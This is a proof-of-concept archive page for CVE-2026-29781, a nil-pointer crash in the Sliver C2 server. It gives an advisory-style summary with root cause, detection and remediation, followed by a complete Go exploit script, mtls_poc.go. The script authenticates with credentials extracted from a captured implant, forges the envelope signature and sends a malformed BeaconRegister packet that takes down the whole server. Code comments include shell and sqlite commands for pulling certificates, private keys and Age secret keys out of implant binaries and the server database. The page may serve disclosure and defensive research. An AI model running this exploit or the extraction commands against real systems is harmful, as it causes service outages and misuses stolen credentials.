PoC Archive PoC Archive
High CVE-2026-29781 (GHSA-hx52-cv84-jr5v) unpatched

Sliver C2 Server mTLS Nil-Pointer Panic / Infrastructure Kill-Switch — CVE-2026-29781

by skoveit · 2026-07-05

Severity
High
CVE
CVE-2026-29781 (GHSA-hx52-cv84-jr5v)
Category
network
Affected product
Sliver C2 server (BishopFox)
Affected versions
Versions prior to the fix referenced in GHSA-hx52-cv84-jr5v
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / Researcherskoveit
CVE / AdvisoryCVE-2026-29781 (GHSA-hx52-cv84-jr5v)
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagssliver-c2, denial-of-service, nil-pointer-dereference, protobuf, mtls, golang, red-team-tooling
RelatedN/A

Affected Target

FieldValue
Software / SystemSliver C2 server (BishopFox)
Versions AffectedVersions prior to the fix referenced in GHSA-hx52-cv84-jr5v
Language / PlatformGo
Authentication RequiredLocal-only (requires captured implant’s mTLS certificate/key material)
Network Access RequiredYes

Summary

Sliver C2’s transport-layer protobuf handlers (mTLS, WireGuard, DNS) lack consistent nil-pointer validation and lack a recover() mechanism around packet processing. A party in possession of a captured implant’s mTLS certificate, private key, and Age secret key can craft a malformed protobuf packet that triggers a nil-pointer dereference in the server’s handler, causing the entire Go runtime to panic and the Sliver server process to crash with SIGSEGV. Because all transports and operator gRPC connections share the same process, this single malformed packet takes down the whole C2 infrastructure — effectively letting whoever captured an implant “flip the switch” on the operators controlling it.


Vulnerability Details

Root Cause

Systemic lack of nil-pointer validation in Sliver’s protobuf message handlers, combined with the absence of a recover() guard around transport packet processing, so a single malformed packet crashes the whole Go process rather than being handled gracefully.

Attack Vector

  1. Obtain the mTLS client certificate, private key, and Age secret key from a captured/reversed Sliver implant binary.
  2. Configure mtls_poc.go with the extracted credentials and the C2 server endpoint.
  3. Run the PoC (go run mtls_poc.go), which connects using the legitimate implant credentials and sends a crafted malformed packet.
  4. The server’s transport handler dereferences a nil pointer while processing the packet and panics, crashing the entire Sliver server process and disconnecting all sessions and operators.

Impact

Complete denial of service against the Sliver C2 server: all active implant sessions across mTLS/HTTP/WireGuard/DNS transports are dropped, all operators are disconnected from the gRPC console, and the server requires manual restart — a defender who captures an implant can use it to shut down the entire attacking infrastructure.


Environment / Lab Setup

Target:   Sliver C2 server (vulnerable version), reachable mTLS listener
Attacker: Go toolchain, extracted implant mTLS cert/key + Age secret key

Proof of Concept

PoC Script

See mtls_poc.go in this folder.

1
go run mtls_poc.go

After populating the placeholder variables (c2Endpoint, clientCertPEM, clientKeyPEM, peerPrivateKey) with credentials extracted from a captured implant, running the script sends the crafted malformed packet to the target Sliver mTLS listener and crashes the server process (verifiable via systemctl status sliver).


Detection & Indicators of Compromise

Signs of compromise:

  • Sliver server process terminating unexpectedly (SIGSEGV) shortly after a client connection
  • Sudden, simultaneous loss of all active sessions across all transports
  • Operators disconnected from the gRPC console without a normal shutdown event

Remediation

ActionDetail
Primary fixUpgrade Sliver to the version referenced in GHSA-hx52-cv84-jr5v that adds nil-pointer validation and recover() handling in transport handlers
Interim mitigationRun the Sliver server under a supervisor that auto-restarts on crash, and rotate/revoke implant credentials promptly after suspected capture

References


Notes

Mirrored from https://github.com/skoveit/CVE-2026-29781 on 2026-07-05.

mtls_poc.go
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
/*
* Author: Skove (Anas)
* Sliver - Protobuf Deserialization "Kill-Switch" DoS PoC
* Vulnerability: Nil-Pointer Dereference in BeaconRegister (CWE-476)
* Impact: Full Process Termination (SIGSEGV) of Sliver Server
*
* This PoC demonstrates how an attacker with access to a captured implant 
* can crash the entire C2 infrastructure by omitting nested Protobuf fields.
*
* Replace c2Endpoint, clientCertPEM, clientKeyPEM, and peerPrivateKey with the values from a valid implant.
*/

package main

import (
	"bytes"
	"crypto/ed25519"
	"crypto/sha256"
	"crypto/tls"
	"encoding/binary"
	"fmt"
	"io"
	"log"

	"github.com/bishopfox/sliver/protobuf/sliverpb"
	"github.com/hashicorp/yamux"
	"golang.org/x/crypto/blake2b"
	"google.golang.org/protobuf/proto"
)

var (
	c2Endpoint = "127.0.0.1:8888"

	// The mTLS certificate and key are required to establish the TLS handshake.
	// RUN: strings /path/to/implant_binary | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/' | tail -n 12
	// FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT certificate_pem FROM certificates WHERE ca_type = 'mtls-implant' LIMIT 1;"
	clientCertPEM = []byte(`-----BEGIN CERTIFICATE-----
MIIBoTCCAQKgAwIBAgIQSkd9rTWFkBvOK5tVaYigrDAKBggqhkjOPQQDBDAAMB4X
DTI1MDMxMDAzMzUzMVoXDTI3MDMxMDAzMzUzMVowFjEUMBIGA1UEAwwLRlVOTllf
VklSVVMwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATJB1ENIgoSoWWt/CiyjytR
ZuBUN/LokcLuq0BOuoUr9MxhzR4hK0ZYPQHnfY1IxGvGDn6LsyWQMv6iLhL5mze3
o0gwRjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwIwHwYDVR0j
BBgwFoAUq0iOdVkSdrFy63RqMILqL5u5w+swCgYIKoZIzj0EAwQDgYwAMIGIAkIA
+F91KxYlI3Tc11n8MuGv5wPoB1FmgfWXxhQqqK7JtnxZQLyDFw1TpXtrbsKuEyB6
TUBjIDeWozb8Anc59P9K+xsCQgC6YhpAcrBoeKdXHkP77ZgPilBcqo691GP1ybuT
DiIqahjrOlzShzjkUO/59I1sDlMY9E+yVO/fD8M95b30k26azA==
-----END CERTIFICATE-----`)

	// RUN: strings /path/to/implant_binary | awk '/BEGIN EC PRIVATE KEY/,/END EC PRIVATE KEY/'
	// FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT private_key_pem FROM certificates WHERE ca_type = 'mtls-implant' LIMIT 1;"
	clientKeyPEM = []byte(`-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIJGHtKVHvcHt91+n0avQPUWf9bNKmjKnDn8XZC5o72yRoAoGCCqGSM49
AwEHoUQDQgAEyQdRDSIKEqFlrfwoso8rUWbgVDfy6JHC7qtATrqFK/TMYc0eIStG
WD0B532NSMRrxg5+i7MlkDL+oi4S+Zs3tw==
-----END EC PRIVATE KEY-----`)

	// The Implant's Age identity string (peer_private_key)
	// RUN: strings /path/to/implant_binary | grep -oP "AGE-SECRET-KEY-1[A-Z0-9]+"
	// FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT peer_private_key FROM implant_builds LIMIT 1;"
	peerPrivateKey = "AGE-SECRET-KEY-1GFLJDX025KJCZCG6C7Y3X4NCPVV7MQD7KAZY2CUZ82E9QS4LVFDSDH7USV"

)




// GenerateImplantSignature replicates Sliver's `lookupImplantSigKey` deterministic Ed25519 generation.
// Over mTLS, the implant does not have a separate database Minisign private key.
// Instead, it deterministically generates it by SHA256 hashing the Age `peer_private_key`.
func GenerateImplantSignature(peerPrivateKey string, data []byte) []byte {
	seed := sha256.Sum256([]byte("env-signing-v1:" + peerPrivateKey))
	priv := ed25519.NewKeyFromSeed(seed[:])
	pub := priv.Public().(ed25519.PublicKey)

	digest := blake2b.Sum256(pub)
	keyID := binary.LittleEndian.Uint64(digest[:8])

	sigBuf := make([]byte, 74)
	binary.LittleEndian.PutUint16(sigBuf[:2], 0x6445)
	binary.LittleEndian.PutUint64(sigBuf[2:10], keyID)
	copy(sigBuf[10:], ed25519.Sign(priv, data))

	return sigBuf
}

const YamuxPreface = "MUX/1"

func main() {
	// 2. STAGE 1: BYPASS NETWORK AUTHENTICATION (mTLS) ========================
	fmt.Println("[*] Loading extracted Implant certificates...")
	cert, err := tls.X509KeyPair(clientCertPEM, clientKeyPEM)
	if err != nil {
		log.Fatalf("[-] Failed to load client cert: %v", err)
		// maybe you are using the wrong key 
		// RUN: strings /path/to/implant_binary | grep "BEGIN CERTIFICATE" -A10
		// and take the second key, not the first  
	}

	tlsConfig := &tls.Config{
		Certificates:       []tls.Certificate{cert},
		InsecureSkipVerify: true,
	}

	fmt.Printf("[*] Connecting to mTLS endpoint %s...\n", c2Endpoint)
	conn, err := tls.Dial("tcp", c2Endpoint, tlsConfig)
	if err != nil {
		log.Fatalf("[-] TLS Connection failed: %v", err)
	}
	defer conn.Close()

	// 3. STAGE 2: INITIATE YAMUX MULTIPLEXING ===============================
	fmt.Println("[*] TLS Established. Sending Yamux preface...")
	conn.Write([]byte(YamuxPreface))

	session, err := yamux.Client(conn, nil)
	if err != nil {
		log.Fatalf("[-] Failed to stat Yamux session: %v", err)
	}
	defer session.Close()

	stream, err := session.Open()
	if err != nil {
		log.Fatalf("[-] Failed to open Yamux stream: %v", err)
	}
	defer stream.Close()

	// 4. STAGE 3: CONSTRUCT THE MALICIOUS CRASH PAYLOAD ========================
	fmt.Println("[*] Constructing malicious BeaconRegister payload...")

	// ROOT CAUSE: sliver/server/handlers/beacons.go:70 beacon.Name = beaconReg.Register.Name
	// The server attempts to access 'beaconReg.Register.Name' without verifying if 'Register' is nil.
	maliciousBeaconReg := &sliverpb.BeaconRegister{
		ID:       "11111111-2222-3333-4444-555555555555",
		Interval: 60,
		// Register: nil, <--- This is the trigger
	}

	maliciousData, err := proto.Marshal(maliciousBeaconReg)
	if err != nil {
		log.Fatalf("[-] Marshal failed: %v", err)
	}

	env := &sliverpb.Envelope{
		ID:   0,
		Type: uint32(sliverpb.MsgBeaconRegister),
		Data: maliciousData,
	}

	envBytes, err := proto.Marshal(env)
	if err != nil {
		log.Fatalf("[-] Envelope Marshal failed: %v", err)
	}

	// 5. STAGE 4: BYPASS ENVELOPE SIGNING ======================================
	fmt.Println("[*] Signing payload deterministically with Age Private Key...")
	rawSig := GenerateImplantSignature(peerPrivateKey, envBytes)

	if _, err := stream.Write(rawSig); err != nil {
		log.Fatalf("[-] Failed to send signature: %v", err)
	}

	// 6. STAGE 5: DELIVER AND CRASH =========================================
	fmt.Println("[*] Delivering length prefix and malicious payload (Unrecovered Goroutine DoS)...")
	dataLengthBuf := new(bytes.Buffer)
	binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(envBytes)))
	stream.Write(dataLengthBuf.Bytes())

	stream.Write(envBytes)

	fmt.Println("[+] Exploit sent! Because mTLS spawns raw goroutines via Yamux without a recover() block...")
	fmt.Println("[+] The Sliver C2 Server binary has completely crashed! Check `systemctl status sliver`.")

	io.ReadAll(stream) 
}